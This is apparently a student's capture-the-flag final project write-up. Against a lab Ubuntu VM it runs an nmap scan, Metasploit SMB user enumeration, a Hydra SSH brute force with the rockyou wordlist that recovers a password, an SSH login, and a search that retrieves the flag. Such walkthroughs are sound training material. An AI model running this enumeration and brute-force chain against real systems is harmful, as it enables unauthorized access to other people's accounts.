

## Bypassing the perimeter final project

Kacper Waliczek

### Setting ip in Nat Network

Host-only Networks

NAT Networks

Cloud Networks

| Nazwa        | IPv4 Prefix    | IPv6 Prefix           | Serwer DHCP |
|--------------|----------------|-----------------------|-------------|
| FinalProject | 172.20.10.0/24 | fd17:625c:f037:2::/64 | Enabled     |
| NatNetwork1  | 10.0.2.0/24    | fd17:625c:f037:2::/64 | Enabled     |

General Options

Przekierowanie portów

Nazwa:

FinalProject

IPv4 Prefix:

172.20.10.0/24

☒ Enable DHCP

☐ Enable IPv6

IPv6 Prefix:

fd17:625c:f037:2::/64

☐ Rozgłasza domyślną trasę adresu IPv6

Zastosuj

Zresetuj

## 1. Nmap

```
(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:db:96:6a brd ff:ff:ff:ff:ff:ff
    inet 172.20.10.4/24 brd 172.20.10.255 scope global dynamic noprefixroute eth0
        valid_lft 583sec preferred_lft 583sec
    inet6 fe80::a00:27ff:fedb:966a/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

(kali㉿kali)-[~]
$ nmap 172.20.10.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2024-06-26 02:41 EDT
Nmap scan report for 172.20.10.1
Host is up (0.00024s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT      STATE SERVICE
53/tcp    open  domain

Nmap scan report for 172.20.10.4
Host is up (0.00029s latency).
All 1000 scanned ports on 172.20.10.4 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)

Nmap scan report for 172.20.10.5
Host is up (0.00037s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds

Nmap done: 256 IP addresses (3 hosts up) scanned in 3.12 seconds
```

## 2. Metasploit

```
Stack: 90909090909090909090909090909090
90909090909090909090909090909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.09090900
90909090.90909090.09090900
.....
cccccccccccccccccccccccccccc
cccccccccccccccccccccccccccc
cccccccc.....
cccccccccccccccccccccccccccc
cccccccccccccccccccccccccccc
.....cccccccccc
cccccccccccccccccccccccccccc
cccccccccccccccccccccccccccc
.....
V3: ffffffff.
ffffff.
ffffffff.
ffffff.
ffffff.
ffffff.
ffffff.

Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing

      =[ metasploit v6.1.39-dev                               ]
+ -- --=[ 2214 exploits - 1171 auxiliary - 396 post           ]
+ -- --=[ 616 payloads - 45 encoders - 11 nops              ]
+ -- --=[ 9 evasion                                           ]

Metasploit tip: View all productivity tips with the
tips command

msf6 > use auxiliary/scanner/smb/smb_enumusers
msf6 auxiliary(scanner/smb/smb_enumusers) > set RHOSTS 172.20.10.5
RHOSTS => 172.20.10.5
msf6 auxiliary(scanner/smb/smb_enumusers) > run

[+] 172.20.10.5:139      - UBUNTU [ jessica ] ( LockoutTries=0 PasswordMin=5 )
[*] 172.20.10.5:      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_enumusers) > █
```

### 3. Downloading rockyou.txt from Github & Hydra

```
[kali@kali:~]~/Desktop/logpass
$ wget https://github.com/brenndorsey/naive-hashcat/releases/download/data/rockyou.txt

--2024-06-26 03:44:00-- https://github.com/brenndorsey/naive-hashcat/releases/download/data/rockyou.txt
Resolving github.com (github.com) ... 140.82.121.4
Connecting to github.com ([140.82.121.4])... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/9755311d/f5f8b8-6b49-11e7-87f0-7f46ef85bab7x-Amz-Algorthm=AWS-HMAC-SHA256X-Amz-Credential=releasetestproduction2F20240626Kus-east-132Fs3k2Faws_request0X-Amz-Date=20240626T075213Z0X-Amz-Expires=3000X-Amz-Signature=d8ef8aa3857bc3cec72bb58789857b815c386b26e604a594d7962743c110X-Amz-SignedHeaders=hostfactor-id-bkeyey-id-b0rpeo-id-9755311Iresponse-content-disposition-attachment;filename=rockyou.txt;type=application/octet-stream [following]
https://objects.githubusercontent.com/github-production-release-asset-2e65be/9755311d/f5f8b8-6b49-11e7-87f0-7f46ef85bab7x-Amz-Algorthm=AWS-HMAC-SHA256X-Amz-Credential=releasetestproduction2F20240626Kus-east-132Fs3k2Faws_request0X-Amz-Date=20240626T075213Z0X-Amz-Expires=3000X-Amz-Signature=d8ef8aa3857bc3cec72bb58789857b815c386b26e604a594d7962743c110X-Amz-SignedHeaders=hostfactor-id-bkeyey-id-b0rpeo-id-9755311Iresponse-content-disposition-attachment;filename=rockyou.txt;type=application/octet-stream [following]
https://objects.githubusercontent.com/github-production-release-asset-2e65be/9755311d/f5f8b8-6b49-11e7-87f0-7f46ef85bab7x-Amz-Algorthm=AWS-HMAC-SHA256X-Amz-Credential=releasetestproduction2F20240626Kus-east-132Fs3k2Faws_request0X-Amz-Date=20240626T075213Z0X-Amz-Expires=3000X-Amz-Signature=d8ef8aa3857bc3cec72bb58789857b815c386b26e604a594d7962743c110X-Amz-SignedHeaders=hostfactor-id-bkeyey-id-b0rpeo-id-9755311Iresponse-content-disposition-attachment;filename=rockyou.txt;type=application/octet-stream [following]
https://objects.githubusercontent.com -- 185.199.110.133, 185.199.109.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com) [185.199.110.133]/443 ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 139921497 (133M) [Application/octet-stream]
Saving to: 'rockyou.txt'

rockyou.txt                                100%[====>] 133.44M  19.3MB/s   in 8.7s

2024-06-26 03:44:12 (15.4 MB/s) - 'rockyou.txt' saved [139921497/139921497]
```

```
[kali@kali]~/Desktop/log/pass
$ hydra -l jessica -P rockyou.txt ssh://172.20.10.5

Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-26 03:44:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (11p:14344398), ~896525 tries per task
[DATA] attacking ssh://172.20.10.5:22/
[22] ssh: host: 172.20.10.5 login: jessica password: dragon
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-26 03:45:37
```

4. Login to `jessica@172.20.10.5` via SSH

```
(kali㉿kali)-[~/Desktop/logxpass]
$ sudo ssh jessica@172.20.10.5
The authenticity of host '172.20.10.5 (172.20.10.5)' can't be established.
ED25519 key fingerprint is SHA256:nUsb3IYj9TwbH8J073wpYjTdZjRAIuycVWNR1GRm0I.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '172.20.10.5' (ED25519) to the list of known hosts.
jessica@172.20.10.5's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-155-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Wed Jun 26 07:58:32 UTC 2024

System load:  0.06               Processes:           121
Usage of /:   95.8% of 1.96GB    Users logged in:    1
Memory usage: 10%              IPv4 address for enp0s3: 172.20.10.5
Swap usage:   0%

⇒ / is using 95.8% of 1.96GB

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
New release '22.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Wed Jun 26 07:55:44 2024
jessica@ubuntu:~$
```



## 5. Searching for flag

```
File Actions Edit View Help
jessica@ubuntu:/$ find / -name "flag*" 2>/dev/null
/var/local/flag.txt
/sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/ttyS6/flags
/sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags
/sys/devices/platform/serial8250/tty/ttyS31/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS11/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags
/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS26/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags
/sys/devices/platform/serial8250/tty/ttyS24/flags
/sys/devices/platform/serial8250/tty/ttyS14/flags
/sys/devices/platform/serial8250/tty/ttyS5/flags
/sys/devices/platform/serial8250/tty/ttyS22/flags
/sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS30/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS20/flags
/sys/devices/platform/serial8250/tty/ttyS10/flags
/sys/devices/platform/serial8250/tty/ttyS29/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS19/flags
/sys/devices/platform/serial8250/tty/ttyS27/flags
/sys/devices/platform/serial8250/tty/ttyS17/flags
/sys/devices/platform/serial8250/tty/ttyS8/flags
/sys/devices/platform/serial8250/tty/ttyS25/flags
/sys/devices/pci0000:00/0000:00:03.0/net/enp0s3/flags
/sys/devices/virtual/net/lo/flags
/usr/lib/python3/dist-packages/dns/__pycache__/flags.cpython-38.pyc
/usr/lib/python3/dist-packages/dns/flags.py
/usr/src/linux-headers-5.4.0-155/scripts/coccinelle/locks/flags.cocci
/usr/src/linux-headers-5.4.0-155-generic/include/config/arch/uses/high/vma/flags.h
jessica@ubuntu:/$ cd /var/local/
jessica@ubuntu:/var/local$ cat flag.txt
HackerU{M1ss10n_5ucc3ss_Cy83r_Thr3at5_F0und!}
jessica@ubuntu:/var/local$
```

Flag: HackerU{M1ss10n\_5ucc3ss\_Cy83r\_Thr3at5\_F0und!}